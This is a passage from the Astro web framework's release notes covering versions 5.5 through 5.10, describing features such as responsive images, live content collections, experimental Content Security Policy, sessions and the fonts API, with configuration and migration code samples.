    The new priority attribute will override those defaults and automatically add the best settings for your high-priority assets.

    This option was previously available for experimental responsive images, but now it is a standard feature for all images.

Usage
<Image src="/path/to/image.jpg" alt="An example image" priority />

[!Note]
You should only use the priority option for images that are critical to the initial rendering of the page, and ideally only one image per page. This is often an image identified as the LCP element when running Lighthouse tests. Using it for too many images will lead to performance issues, as it forces the browser to load those images immediately, potentially blocking the rendering of other content.

  • #​13917 e615216 Thanks @​ascorbic! - The responsive images feature introduced behind a flag in v5.0.0 is no longer experimental and is available for general use.

    The new responsive images feature in Astro automatically generates optimized images for different screen sizes and resolutions, and applies the correct attributes to ensure that images are displayed correctly on all devices.

    Enable the image.responsiveStyles option in your Astro config. Then, set a layout attribute on any or component, or configure a default image.layout, for instantly responsive images with automatically generated srcset and sizes attributes based on the image's dimensions and the layout type.

    Displaying images correctly on the web can be challenging, and is one of the most common performance issues seen in sites. This new feature simplifies the most challenging part of the process: serving your site visitor an image optimized for their viewing experience, and for your website's performance.

    For full details, see the updated Image guide.

Migration from Experimental Responsive Images

The experimental.responsiveImages flag has been removed, and all experimental image configuration options have been renamed to their final names.

If you were using the experimental responsive images feature, you'll need to update your configuration:

Remove the experimental flag
export default defineConfig({
   experimental: {
-    responsiveImages: true,
   },
});
Update image configuration options

During the experimental phase, default styles were applied automatically to responsive images. Now, you need to explicitly set the responsiveStyles option to true if you want these styles applied.

export default defineConfig({
  image: {
+    responsiveStyles: true,
  },
});

The experimental image configuration options have been renamed:

Before:

export default defineConfig({
  image: {
    experimentalLayout: 'constrained',
    experimentalObjectFit: 'cover',
    experimentalObjectPosition: 'center',
    experimentalBreakpoints: [640, 750, 828, 1080, 1280],
    experimentalDefaultStyles: true,
  },
  experimental: {
    responsiveImages: true,
  },
});

After:

export default defineConfig({
  image: {
    layout: 'constrained',
    objectFit: 'cover',
    objectPosition: 'center',
    breakpoints: [640, 750, 828, 1080, 1280],
    responsiveStyles: true, // This is now *false* by default
  },
});
Component usage remains the same

The layout, fit, and position props on <Image> and <Picture> components work exactly the same as before:

<Image
  src={myImage}
  alt="A responsive image"
  layout="constrained"
  fit="cover"
  position="center"
/>

If you weren't using the experimental responsive images feature, no changes are required.

Please see the Image guide for more information on using responsive images in Astro.

  • #​13685 3c04c1f Thanks @​ascorbic! - Adds experimental support for live content collections

    Live content collections are a new type of content collection that fetch their data at runtime rather than build time. This allows you to access frequently-updated data from CMSs, APIs, databases, or other sources using a unified API, without needing to rebuild your site when the data changes.

Live collections vs build-time collections

In Astro 5.0, the content layer API added support for adding diverse content sources to content collections. You can create loaders that fetch data from any source at build time, and then access it inside a page via getEntry() and getCollection(). The data is cached between builds, giving fast access and updates.

However there is no method for updating the data store between builds, meaning any updates to the data need a full site deploy, even if the pages are rendered on-demand. This means that content collections are not suitable for pages that update frequently. Instead, today these pages tend to access the APIs directly in the frontmatter. This works, but leads to a lot of boilerplate, and means users don't benefit from the simple, unified API that content loaders offer. In most cases users tend to individually create loader libraries that they share between pages.

Live content collections solve this problem by allowing you to create loaders that fetch data at runtime, rather than build time. This means that the data is always up-to-date, without needing to rebuild the site.

How to use

To enable live collections add the experimental.liveContentCollections flag to your astro.config.mjs file:

{
  experimental: {
    liveContentCollections: true,
  },
}

Then create a new src/live.config.ts file (alongside your src/content.config.ts if you have one) to define your live collections with a live loader and optionally a schema using the new defineLiveCollection() function from the astro:content module.

import { defineLiveCollection } from 'astro:content';
import { storeLoader } from '@&#8203;mystore/astro-loader';

const products = defineLiveCollection({
  type: 'live',
  loader: storeLoader({
    apiKey: process.env.STORE_API_KEY,
    endpoint: 'https://api.mystore.com/v1',
  }),
});

export const collections = { products };

You can then use the dedicated getLiveCollection() and getLiveEntry() functions to access your live data:

---
import { getLiveCollection, getLiveEntry, render } from 'astro:content';

// Get all products
const { entries: allProducts, error } = await getLiveCollection('products');
if (error) {
  // Handle error appropriately
  console.error(error.message);
}

// Get products with a filter (if supported by your loader)
const { entries: electronics } = await getLiveCollection('products', { category: 'electronics' });

// Get a single product by ID (string syntax)
const { entry: product, error: productError } = await getLiveEntry('products', Astro.params.id);
if (productError) {
  return Astro.redirect('/404');
}

// Get a single product with a custom query (if supported by your loader) using a filter object
const { entry: productBySlug } = await getLiveEntry('products', { slug: Astro.params.slug });

const { Content } = await render(product);
---

<h1>{product.title}</h1>
<Content />

See the docs for the experimental live content collections feature for more details on how to use this feature, including how to create a live loader. Please give feedback on the RFC PR if you have any suggestions or issues.

Patch Changes

v5.9.4

Compare Source

Patch Changes

v5.9.3

Compare Source

Patch Changes
  • #​13923 a9ac5ed Thanks @​ematipico! - BREAKING CHANGE to the experimental Content Security Policy (CSP) only

    Changes the behavior of experimental Content Security Policy (CSP) to now serve hashes differently depending on whether or not a page is prerendered:

    • Via the <meta> element for static pages.
    • Via the Response header content-security-policy for on-demand rendered pages.

    This new strategy allows you to add CSP content that is not supported in a <meta> element (e.g. report-uri, frame-ancestors, and sandbox directives) to on-demand rendered pages.

    No change to your project code is required as this is an implementation detail. However, this will result in a different HTML output for pages that are rendered on demand. Please check your production site to verify that CSP is working as intended.

    To keep up to date with this developing feature, or to leave feedback, visit the CSP Roadmap proposal.

  • #​13926 953a249 Thanks @​ematipico! - Adds a new Astro Adapter Feature called experimentalStaticHeaders to allow your adapter to receive the Headers for rendered static pages.

    Adapters that enable support for this feature can access header values directly, affecting their handling of some Astro features such as Content Security Policy (CSP). For example, Astro will no longer serve the CSP <meta http-equiv="content-security-policy"> element in static pages to adapters with this support.

    Astro will serve the value of the header inside a map that can be retrieved from the hook astro:build:generated. Adapters can read this mapping and use their hosting headers capabilities to create a configuration file.

    A new field called experimentalRouteToHeaders will contain a map of Map<IntegrationResolvedRoute, Headers> where the Headers type contains the headers emitted by the rendered static route.

    To enable support for this experimental Astro Adapter Feature, add it to your adapterFeatures in your adapter config:

    // my-adapter.mjs
    export default function createIntegration() {
      return {
        name: '@&#8203;example/my-adapter',
        hooks: {
          'astro:config:done': ({ setAdapter }) => {
            setAdapter({
              name: '@&#8203;example/my-adapter',
              serverEntrypoint: '@&#8203;example/my-adapter/server.js',
              adapterFeatures: {
                experimentalStaticHeaders: true,
              },
            });
          },
        },
      };
    }
    

    See the Adapter API docs for more information about providing adapter features.

  • #​13697 af83b85 Thanks @​benosmac! - Fixes issues with fallback route pattern matching when i18n.routing.fallbackType is rewrite.

    • Adds conditions for route matching in generatePath when building fallback routes and checking for existing translated pages

    Now for a route to be matched it needs to be inside a named [locale] folder. This fixes an issue where route.pattern.test() incorrectly matched dynamic routes, causing the page to be skipped.

    • Adds conditions for route matching in findRouteToRewrite

    Now the requested pathname must exist in route.distURL for a dynamic route to match. This fixes an issue where route.pattern.test() incorrectly matched dynamic routes, causing the build to fail.

  • #​13924 1cd8c3b Thanks @​qw-in! - Fixes an edge case where isPrerendered was incorrectly set to false for static redirects.

  • #​13926 953a249 Thanks @​ematipico! - Fixes an issue where the experimental CSP meta element wasn't placed in the <head> element as early as possible, causing these policies to not apply to styles and scripts that came before the meta element.

v5.9.2

Compare Source

Patch Changes
  • #​13919 423fe60 Thanks @​ematipico! - Fixes a bug where Astro added quotes to the CSP resources.

    Only certain resources require quotes (e.g. 'self' but not https://cdn.example.com), so Astro no longer adds quotes to any resources. You must now provide the quotes yourself for resources such as 'self' when necessary:

    export default defineConfig({
      experimental: {
        csp: {
          styleDirective: {
            resources: [
    -          "self",
    +          "'self'",
              "https://cdn.example.com"
            ]
          }
        }
      }
    })
    
  • #​13914 76c5480 Thanks @​ematipico! - BREAKING CHANGE to the experimental Content Security Policy feature only

    Removes support for experimental Content Security Policy (CSP) when using the <ClientRouter /> component for view transitions.

    It is no longer possible to enable experimental CSP while using Astro's view transitions. Support was already unstable with the <ClientRouter /> because CSP required making its underlying implementation asynchronous. This caused breaking changes for several users and therefore, this PR removes support completely.

    If you are currently using the component for view transitions, please remove the experimental CSP flag as they cannot be used together.

    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      experimental: {
    -   csp: true
       }
    });
    

    Alternatively, to continue using experimental CSP in your project, you can consider migrating to the browser native View Transition API and remove the <ClientRouter /> from your project. You may be able to achieve similar results if you are not using Astro's enhancements to the native View Transitions and Navigation APIs.

    Support might be reintroduced in future releases. You can follow this experimental feature's development in the CSP RFC.

v5.9.1

Compare Source

Patch Changes

v5.9.0

Compare Source

Minor Changes
  • #​13802 0eafe14 Thanks @​ematipico! - Adds experimental Content Security Policy (CSP) support

    CSP is an important feature to provide fine-grained control over resources that can or cannot be downloaded and executed by a document. In particular, it can help protect against cross-site scripting (XSS) attacks.

    Enabling this feature adds additional security to Astro's handling of processed and bundled scripts and styles by default, and allows you to further configure these, and additional, content types. This new experimental feature has been designed to work in every Astro rendering environment (static pages, dynamic pages and single page applications), while giving you maximum flexibility and with type-safety in mind.

    It is compatible with most of Astro's features such as client islands, and server islands, although Astro's view transitions using the <ClientRouter /> are not yet fully supported. Inline scripts are not supported out of the box, but you can provide your own hashes for external and inline scripts.

    To enable this feature, add the experimental flag in your Astro config:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        csp: true,
      },
    });
    

    For more information on enabling and using this feature in your project, see the Experimental CSP docs.

    For a complete overview, and to give feedback on this experimental API, see the Content Security Policy RFC.

  • #​13850 1766d22 Thanks @​ascorbic! - Provides a Markdown renderer to content loaders

    When creating a content loader, you will now have access to a renderMarkdown function that allows you to render Markdown content directly within your loaders. It uses the same settings and plugins as the renderer used for Markdown files in Astro, and follows any Markdown settings you have configured in your Astro project.

    This allows you to render Markdown content from various sources, such as a CMS or other data sources, directly in your loaders without needing to preprocess the Markdown content separately.

    import type { Loader } from 'astro/loaders';
    import { loadFromCMS } from './cms';
    
    export function myLoader(settings): Loader {
      return {
        name: 'my-loader',
        async load({ renderMarkdown, store }) {
          const entries = await loadFromCMS();
    
          store.clear();
    
          for (const entry of entries) {
            // Assume each entry has a 'content' field with markdown content
            store.set({
              id: entry.id,
              data: entry,
              rendered: await renderMarkdown(entry.content),
            });
          }
        },
      };
    }
    

    The return value of renderMarkdown is an object with two properties: html and metadata. These match the rendered property of content entries in content collections, so you can use them to render the content in your components or pages.

    ---
    import { getEntry, render } from 'astro:content';
    const entry = await getEntry('my-collection', Astro.params.id);
    const { Content } = await render(entry);
    ---
    
    <Content />
    

    For more information, see the Content Loader API docs.

  • #​13887 62f0668 Thanks @​yanthomasdev! - Adds an option for integration authors to suppress adapter warning/errors in supportedAstroFeatures. This is useful when either a warning/error isn't applicable in a specific context or the default one might conflict and confuse users.

    To do so, you can add suppress: "all" (to suppress both the default and custom message) or suppress: "default" (to only suppress the default one):

    setAdapter({
      name: 'my-astro-integration',
      supportedAstroFeatures: {
        staticOutput: 'stable',
        hybridOutput: 'stable',
        sharpImageService: {
          support: 'limited',
          message:
            "The sharp image service isn't available in the deploy environment, but will be used by prerendered pages on build.",
          suppress: 'default',
        },
      },
    });
    

    For more information, see the Adapter API reference docs.

v5.8.2

Compare Source

Patch Changes

v5.8.1

Compare Source

Patch Changes
  • #​13037 de2fc9b Thanks @​nanarino! - Fixes rendering of the popover attribute when it has a boolean value

  • #​13851 45ae95a Thanks @​ascorbic! - Allows disabling default styles for responsive images

    This change adds a new image.experimentalDefaultStyles option that allows you to disable the default styles applied to responsive images.

    When using experimental responsive images, Astro applies default styles to ensure the images resize correctly. In most cases this is what you want – and they are applied with low specificity so your own styles override them. However in some cases you may want to disable these default styles entirely. This is particularly useful when using Tailwind 4, because it uses CSS cascade layers to apply styles, making it difficult to override the default styles.

    image.experimentalDefaultStyles is a boolean option that defaults to true, so you can change it in your Astro config file like this:

    export default {
      image: {
        experimentalDefaultStyles: false,
      },
      experimental: {
        responsiveImages: true,
      },
    };
    
  • #​13858 cb1a168 Thanks @​florian-lefebvre! - Fixes the warning shown when client directives are used on Astro components

  • #​12574 da266d0 Thanks @​apatel369! - Allows using server islands in mdx files

  • #​13843 fbcfa68 Thanks @​z1haze! - Export type AstroSession to allow use in explicitly typed safe code.

v5.8.0

Compare Source

Minor Changes
  • #​13809 3c3b492 Thanks @​ascorbic! - Increases minimum Node.js version to 18.20.8

    Node.js 18 has now reached end-of-life and should not be used. For now, Astro will continue to support Node.js 18.20.8, which is the final LTS release of Node.js 18, as well as Node.js 20 and Node.js 22 or later. We will drop support for Node.js 18 in a future release, so we recommend upgrading to Node.js 22 as soon as possible. See Astro's Node.js support policy for more details.

    ⚠️ Important note for users of Cloudflare Pages: The current build image for Cloudflare Pages uses Node.js 18.17.1 by default, which is no longer supported by Astro. If you are using Cloudflare Pages you should override the default Node.js version to Node.js 22. This does not affect users of Cloudflare Workers, which uses Node.js 22 by default.

Patch Changes

v5.7.14

Compare Source

Patch Changes

v5.7.13

Compare Source

Patch Changes

v5.7.12

Compare Source

Patch Changes
  • #​13752 a079c21 Thanks @​florian-lefebvre! - Improves handling of font URLs not ending with a file extension when using the experimental fonts API

  • #​13750 7d3127d Thanks @​martrapp! - Allows the ClientRouter to open new tabs or windows when submitting forms by clicking while holding the Cmd, Ctrl, or Shift key.

  • #​13765 d874fe0 Thanks @​florian-lefebvre! - Fixes a case where font sources with relative protocol URLs would fail when using the experimental fonts API

  • #​13640 5e582e7 Thanks @​florian-lefebvre! - Allows inferring weight and style when using the local provider of the experimental fonts API

    If you want Astro to infer those properties directly from your local font files, leave them undefined:

    {
      // No weight specified: infer
      style: 'normal'; // Do not infer
    }
    

v5.7.11

Compare Source

Patch Changes

v5.7.10

Compare Source

Patch Changes

v5.7.9

Compare Source

Patch Changes

v5.7.8

Compare Source

Patch Changes

v5.7.7

Compare Source

Patch Changes

v5.7.6

Compare Source

Patch Changes
  • #​13703 659904b Thanks @​ascorbic! - Fixes a bug where empty fallbacks could not be provided when using the experimental fonts API

  • #​13680 18e1b97 Thanks @​florian-lefebvre! - Improves the UnsupportedExternalRedirect error message to include more details such as the concerned destination

  • #​13703 659904b Thanks @​ascorbic! - Simplifies styles for experimental responsive images

    ⚠️ BREAKING CHANGE FOR EXPERIMENTAL RESPONSIVE IMAGES ONLY ⚠️

    The generated styles for image layouts are now simpler and easier to override. Previously the responsive image component used CSS to set the size and aspect ratio of the images, but this is no longer needed. Now the styles just include object-fit and object-position for all images, and sets max-width: 100% for constrained images and width: 100% for full-width images.

    This is an implementation change only, and most users will see no change. However, it may affect any custom styles you have added to your responsive images. Please check your rendered images to determine whether any change to your CSS is needed.

    The styles now use the :where() pseudo-class, which has a specificity of 0, meaning that it is easy to override with your own styles. You can now be sure that your own classes will always override the applied styles, as will global styles on img.

    An exception is Tailwind 4, which uses cascade layers, meaning the rules are always lower specificity. Astro supports browsers that do not support cascade layers, so we cannot use this. If you need to override the styles using Tailwind 4, you must use !important classes. Do check if this is needed though: there may be a layout that is more appropriate for your use case.

  • #​13703 659904b Thanks @​ascorbic! - Adds warnings about using local font files in the publicDir when the experimental fonts API is enabled.

  • #​13703 659904b Thanks @​ascorbic! - Renames experimental responsive image layout option from "responsive" to "constrained"

    ⚠️ BREAKING CHANGE FOR EXPERIMENTAL RESPONSIVE IMAGES ONLY ⚠️

    The layout option called "responsive" is renamed to "constrained" to better reflect its behavior.

    The previous name was causing confusion, because it is also the name of the feature. The responsive layout option is specifically for images that are displayed at the requested size, unless they do not fit the width of their container, at which point they would be scaled down to fit. They do not get scaled beyond the intrinsic size of the source image, or the width prop if provided.

    It became clear from user feedback that many people (understandably) thought that they needed to set layout to responsive if they wanted to use responsive images. They then struggled with overriding styles to make the image scale up for full-width hero images, for example, when they should have been using full-width layout. Renaming the layout to constrained should make it clearer that this layout is for when you want to constrain the maximum size of the image, but allow it to scale-down.

Upgrading

If you set a default image.experimentalLayout in your astro.config.mjs, or set it on a per-image basis using the layout prop, you will need to change all occurrences to constrained:

// astro.config.mjs
export default {
  image: {
-    experimentalLayout: 'responsive',
+    experimentalLayout: 'constrained',
  },
}
// src/pages/index.astro
---
import { Image } from 'astro:assets';
---
- <Image src="/image.jpg" layout="responsive" />
+ <Image src="/image.jpg" layout="constrained" />

Please give feedback on the RFC if you have any questions or comments about the responsive images API.

v5.7.5

Compare Source

Patch Changes

v5.7.4

Compare Source

Patch Changes

v5.7.3

Compare Source

Patch Changes

v5.7.2

Compare Source

Patch Changes

v5.7.1

Compare Source

Patch Changes

v5.7.0

Compare Source

Minor Changes
  • #​13527 2fd6a6b Thanks @​ascorbic! - The experimental session API introduced in Astro 5.1 is now stable and ready for production use.

    Sessions are used to store user state between requests for on-demand rendered pages. You can use them to store user data, such as authentication tokens, shopping cart contents, or any other data that needs to persist across requests:

    ---
    export const prerender = false; // Not needed with 'server' output
    const cart = await Astro.session.get('cart');
    ---
    
    <a href="/checkout">🛒 {cart?.length ?? 0} items</a>
    
Configuring session storage

Sessions require a storage driver to store the data. The Node, Cloudflare and Netlify adapters automatically configure a default driver for you, but other adapters currently require you to specify a custom storage driver in your configuration.

If you are using an adapter that doesn't have a default driver, or if you want to choose a different driver, you can configure it using the session configuration option:

import { defineConfig } from 'astro/config';
import vercel from '@&#8203;astrojs/vercel';

export default defineConfig({
  adapter: vercel(),
  session: {
    driver: 'upstash',
  },
});
Using sessions

Sessions are available in on-demand rendered pages, API endpoints, actions and middleware.

In pages and components, you can access the session using Astro.session:

---
const cart = await Astro.session.get('cart');
---

<a href="/checkout">🛒 {cart?.length ?? 0} items</a>

In endpoints, actions, and middleware, you can access the session using context.session:

export async function GET(context) {
  const cart = await context.session.get('cart');
  return Response.json({ cart });
}

If you attempt to access the session when there is no storage driver configured, or in a prerendered page, the session object will be undefined and an error will be logged in the console:

---
export const prerender = true;
const cart = await Astro.session?.get('cart'); // Logs an error. Astro.session is undefined
---
Upgrading from Experimental to Stable

If you were previously using the experimental API, please remove the experimental.session flag from your configuration:

import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';

export default defineConfig({
   adapter: node({
     mode: "standalone",
   }),
-  experimental: {
-    session: true,
-  },
});

See the sessions guide for more information.

  • #​12775 b1fe521 Thanks @​florian-lefebvre! - Adds a new, experimental Fonts API to provide first-party support for fonts in Astro.

    This experimental feature allows you to use fonts from both your file system and several built-in supported providers (e.g. Google, Fontsource, Bunny) through a unified API. Keep your site performant thanks to sensible defaults and automatic optimizations including fallback font generation.

    To enable this feature, configure an experimental.fonts object with one or more fonts:

    import { defineConfig, fontProviders } from "astro/config"
    
    export default defineConfig({
        experimental: {
            fonts: [{
                provider: fontProviders.google(),
          `      name: "Roboto",
                cssVariable: "--font-roboto",
            }]
        }
    })
    

    Then, add a <Font /> component and site-wide styling in your <head>:

    ---
    import { Font } from 'astro:assets';
    ---
    
    <Font cssVariable="--font-roboto" preload />
    <style>
      body {
        font-family: var(--font-roboto);
      }
    </style>
    

    Visit the experimental Fonts documentation for the full API, how to get started, and even how to build your own custom AstroFontProvider if we don't yet support your preferred font service.

    For a complete overview, and to give feedback on this experimental API, see the Fonts RFC and help shape its future.

  • #​13560 df3fd54 Thanks @​ematipico! - The virtual module astro:config introduced behind a flag in v5.2.0 is no longer experimental and is available for general use.

    This virtual module exposes two sub-paths for type-safe, controlled access to your configuration:

    • astro:config/client: exposes config information that is safe to expose to the client.
    • astro:config/server: exposes additional information that is safe to expose to the server, such as file and directory paths.

    Access these in any file inside your project to import and use select values from your Astro config:

    // src/utils.js
    import { trailingSlash } from 'astro:config/client';
    
    function addForwardSlash(path) {
      if (trailingSlash === 'always') {
        return path.endsWith('/') ? path : path + '/';
      } else {
        return path;
      }
    }
    

    If you were previously using this feature, please remove the experimental flag from your Astro config:

    // astro.config.mjs
    export default defineConfig({
    -  experimental: {
    -    serializeConfig: true
    -  }
    })
    

    If you have been waiting for feature stabilization before using configuration imports, you can now do so.

    Please see the astro:config reference for more about this feature.

  • #​13578 406501a Thanks @​stramel! - The SVG import feature introduced behind a flag in v5.0.0 is no longer experimental and is available for general use.

    This feature allows you to import SVG files directly into your Astro project as components and inline them into your HTML.

    To use this feature, import an SVG file in your Astro project, passing any common SVG attributes to the imported component.

    ---
    import Logo from './path/to/svg/file.svg';
    ---
    
    <Logo width={64} height={64} fill="currentColor" />
    

    If you have been waiting for stabilization before using the SVG Components feature, you can now do so.

    If you were previously using this feature, please remove the experimental flag from your Astro config:

    import { defineConfig } from 'astro'
    
    export default defineConfig({
    -  experimental: {
    -    svg: true,
    -  }
    })
    

    Additionally, a few features that were available during the experimental stage were removed in a previous release. Please see the v5.6.0 changelog for details if you have not yet already updated your project code for the experimental feature accordingly.

    Please see the SVG Components guide in docs for more about this feature.

Patch Changes
  • #​13602 3213450 Thanks @​natemoo-re! - Updates the Audit dev toolbar app to automatically strip data-astro-source-file and data-astro-source-loc attributes in dev mode.

  • #​13598 f5de51e Thanks @​dreyfus92! - Fix routing with base paths when trailingSlash is set to 'never'. This ensures requests to '/base' are correctly matched when the base path is set to '/base', without requiring a trailing slash.

  • #​13603 d038030 Thanks @​sarah11918! - Adds the minimal starter template to the list of create astro options

    Good news if you're taking the introductory tutorial in docs, making a minimal reproduction, or just want to start a project with as little to rip out as possible. Astro's minimal (empty) template is now back as one of the options when running create astro@latest and starting a new project!

v5.6.2

Compare Source

Patch Changes
  • #​13606 793ecd9 Thanks @​natemoo-re! - Fixes a regression that allowed prerendered code to leak into the server bundle.

  • #​13576 1c60ec3 Thanks @​ascorbic! - Reduces duplicate code in server islands scripts by extracting shared logic into a helper function.

  • #​13588 57e59be Thanks @​natemoo-re! - Fixes a memory leak when using SVG assets.

  • #​13589 5a0563d Thanks @​ematipico! - Deprecates the asset utility function emitESMImage() and adds a new emitImageMetadata() to be used instead

    The function
    emitESMImage() is now deprecated. It will continue to function, but it is no longer recommended nor supported. This function will be completely removed in a next major release of Astro.

    Please replace it with the new functionemitImageMetadata() as soon as you are able to do so:

    - import { emitESMImage } from "astro/assets/utils";
    + import { emitImageMetadata } from "astro/assets/utils";
    

    The new function returns the same signature as the previous one. However, the new function removes two deprecated arguments that were not meant to be exposed for public use: _watchMode and experimentalSvgEnabled. Since it was possible to access these with the old function, you may need to verify that your code still works as intended with emitImageMetadata().

  • #​13596 3752519 Thanks @​jsparkdev! - update vite to latest version to fix CVE

  • #​13547 360cb91 Thanks @​jsparkdev! - Updates vite to the latest version

  • #​13548 e588527 Thanks @​ryuapp! - Support for Deno to install npm packages.

    Deno requires npm prefix to install packages on npm. For example, to install react, we need to run deno add npm:react. But currently the command executed is deno add react, which doesn't work. So, we change the package names to have an npm prefix if you are using Deno.

  • #​13587 a0774b3 Thanks @​robertoms99! - Fixes an issue with the client router where some attributes of the root element were not updated during swap, including the transition scope.

v5.6.1

Compare Source

Patch Changes

v5.6.0

Compare Source

Minor Changes
  • #​13403 dcb9526 Thanks @​yurynix! - Adds a new optional prerenderedErrorPageFetch option in the Adapter API to allow adapters to provide custom implementations for fetching prerendered error pages.

    Now, adapters can override the default fetch() behavior, for example when fetch() is unavailable or when you cannot call the server from itself.

    The following example provides a custom fetch for 500.html and 404.html, reading them from disk instead of performing an HTTP call:

    return app.render(request, {
      prerenderedErrorPageFetch: async (url: string): Promise<Response> => {
        if (url.includes("/500")) {
            const content = await fs.promises.readFile("500.html", "utf-8");
            return new Response(content, {
              status: 500,
              headers: { "Content-Type": "text/html" },
            });
        }
        const content = await fs.promises.readFile("404.html", "utf-8");
          return new Response(content, {
            status: 404,
            headers: { "Content-Type": "text/html" },
          });
    });
    

    If no value is provided, Astro will fall back to its default behavior for fetching error pages.

    Read more about this feature in the Adapter API reference.

  • #​13482 ff257df Thanks @​florian-lefebvre! - Updates Astro config validation to also run for the Integration API. An error log will specify which integration is failing the validation.

    Now, Astro will first validate the user configuration, then validate the updated configuration after each integration astro:config:setup hook has run. This means updateConfig() calls will no longer accept invalid configuration.

    This fixes a situation where integrations could potentially update a project with a malformed configuration. These issues should now be caught and logged so that you can update your integration to only set valid configurations.

  • #​13405 21e7e80 Thanks @​Marocco2! - Adds a new eagerness option for prefetch() when using experimental.clientPrerender

    With the experimental clientPrerender flag enabled, you can use the eagerness option on prefetch() to suggest to the browser how eagerly it should prefetch/prerender link targets.

    This follows the same API described in the Speculation Rules API and allows you to balance the benefit of reduced wait times against bandwidth, memory, and CPU costs for your site visitors.

    For example, you can now use prefetch() programmatically with large sets of links and avoid browser limits in place to guard against over-speculating (prerendering/prefetching too many links). Set eagerness: 'moderate' to take advantage of First In, First Out (FIFO) strategies and browser heuristics to let the browser decide when to prerender/prefetch them and in what order:

    <a class="link-moderate" href="/nice-link-1">A Nice Link 1</a>
    <a class="link-moderate" href="/nice-link-2">A Nice Link 2</a>
    <a class="link-moderate" href="/nice-link-3">A Nice Link 3</a>
    <a class="link-moderate" href="/nice-link-4">A Nice Link 4</a>
    ...
    <a class="link-moderate" href="/nice-link-20">A Nice Link 20</a>
    <script>
      import { prefetch } from 'astro:prefetch';
      const linkModerate = document.getElementsByClassName('link-moderate');
      linkModerate.forEach((link) => prefetch(link.getAttribute('href'), { eagerness: 'moderate' }));
    </script>
    
  • #​13482 ff257df Thanks @​florian-lefebvre! - Improves integrations error handling

    If an error is thrown from an integration hook, an error log will now provide information about the concerned integration and hook

Patch Changes
  • #​13539 c43bf8c Thanks @​ascorbic! - Adds a new session.load() method to the experimental session API that allows you to load a session by ID.

    When using the experimental sessions API, you don't normally need to worry about managing the session ID and cookies: Astro automatically reads the user's cookies and loads the correct session when needed. However, sometimes you need more control over which session to load.

    The new load() method allows you to manually load a session by ID. This is useful if you are handling the session ID yourself, or if you want to keep track of a session without using cookies. For example, you might want to restore a session from a logged-in user on another device, or work with an API endpoint that doesn't use cookies.

    // src/pages/api/cart.ts
    import type { APIRoute } from 'astro';
    
    export const GET: APIRoute = async ({ session, request }) => {
      // Load the session from a header instead of cookies
      const sessionId = request.headers.get('x-session-id');
      await session.load(sessionId);
      const cart = await session.get('cart');
      return Response.json({ cart });
    };
    

    If a session with that ID doesn't exist, a new one will be created. This allows you to generate a session ID in the client if needed.

    For more information, see the experimental sessions docs.

  • #​13488 d777420 Thanks @​stramel! - BREAKING CHANGE to the experimental SVG Component API only

    Removes some previously available prop, attribute, and configuration options from the experimental SVG API. These items are no longer available and must be removed from your code:

    • The title prop has been removed until we can settle on the correct balance between developer experience and accessibility. Please replace any title props on your components with aria-label:

      - <Logo title="My Company Logo" />
      + <Logo aria-label="My Company Logo" />
      
    • Sprite mode has been temporarily removed while we consider a new implementation that addresses how this feature was being used in practice. This means that there are no longer multiple mode options, and all SVGs will be inline. All instances of mode must be removed from your project as you can no longer control a mode:

      - <Logo mode="inline" />
      + <Logo />
      
      import { defineConfig } from 'astro'
      
      export default defineConfig({
        experimental: {
      -    svg: {
      -      mode: 'sprite'
      -    },
      +   svg: true
        }
      });
      
    • The default role is no longer applied due to developer feedback. Please add the appropriate role on each component individually as needed:

      - <Logo />
      + <Logo role="img" /> // To keep the role that was previously applied by default
      
    • The size prop has been removed to better work in combination with viewBox and additional styles/attributes. Please replace size with explicit width and height attributes:

      - <Logo size={64} />
      + <Logo width={64} height={64} />
      

v5.5.6

Compare Source

Patch Changes
  • #​13429 06de673 Thanks @​ematipico! - The ActionAPIContext.rewrite method is deprecated and will be removed in a future major version of Astro

  • #​13524 82cd583 Thanks @​ematipico! - Fixes a bug where the functions Astro.preferredLocale and Astro.preferredLocaleList would return the incorrect locales
    when the Astro configuration specifies a list of codes. Before, the functions would return the path, instead now the functions
    return a list built from codes.

  • #​13526 ff9d69e Thanks @​jsparkdev! - update vite to the latest version

v5.5.5

Compare Source

Patch Changes

v5.5.4

Compare Source

Patch Changes

v5.5.3

Compare Source

Patch Changes
  • #​13437 013fa87 Thanks @​Vardhaman619! - Handle server.allowedHosts when the value is true without attempting to push it into an array.

  • #​13324 ea74336 Thanks @​ematipico! - Upgrade to shiki v3

  • #​13372 7783dbf Thanks @​ascorbic! - Fixes a bug that caused some very large data stores to save incomplete data.

  • #​13358 8c21663 Thanks @​ematipico! - Adds a new function called insertPageRoute to the Astro Container API.

    The new function is useful when testing routes that, for some business logic, use Astro.rewrite.

    For example, if you have a route /blog/post and for some business decision there's a rewrite to /generic-error, the container API implementation will look like this:

    import Post from '../src/pages/Post.astro';
    import GenericError from '../src/pages/GenericError.astro';
    import { experimental_AstroContainer as AstroContainer } from 'astro/container';
    
    const container = await AstroContainer.create();
    container.insertPageRoute('/generic-error', GenericError);
    const result = await container.renderToString(Post);
    console.log(result); // this should print the response from GenericError.astro
    

    This new method only works for page routes, which means that endpoints aren't supported.

  • #​13426 565583b Thanks @​ascorbic! - Fixes a bug that caused the astro add command to ignore the --yes flag for third-party integrations

  • #​13428 9cac9f3 Thanks @​matthewp! - Prevent bad value in x-forwarded-host from crashing request

  • #​13432 defad33 Thanks @​P4tt4te! - Fix an issue in the Container API, where the renderToString function doesn't render adequately nested slots when they are components.

  • Updated dependencies [ea74336]:

v5.5.2

Compare Source

Patch Changes
  • #​13415 be866a1 Thanks @​ascorbic! - Reuses experimental session storage object between requests. This prevents memory leaks and improves performance for drivers that open persistent connections to a database.

  • #​13420 2f039b9 Thanks @​ematipico! - It fixes an issue that caused some regressions in how styles are bundled.

v5.5.1

Compare Source

Patch Changes

v5.5.0

Compare Source

Minor Changes
  • #​13402 3e7b498 Thanks @​ematipico! - Adds a new experimental flag called experimental.preserveScriptOrder that renders <script> and <style> tags in the same order as they are defined.

    When rendering multiple <style> and <script> tags on the same page, Astro currently reverses their order in your generated HTML output. This can give unexpected results, for example CSS styles being overridden by earlier defined style tags when your site is built.

    With the new preserveScriptOrder flag enabled, Astro will generate the styles in the order they are defined:

    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        preserveScriptOrder: true,
      },
    });
    

    For example, the following component has two <style> tags, and both define the same style for the body tag:

    <p>I am a component</p>
    <style>
      body {
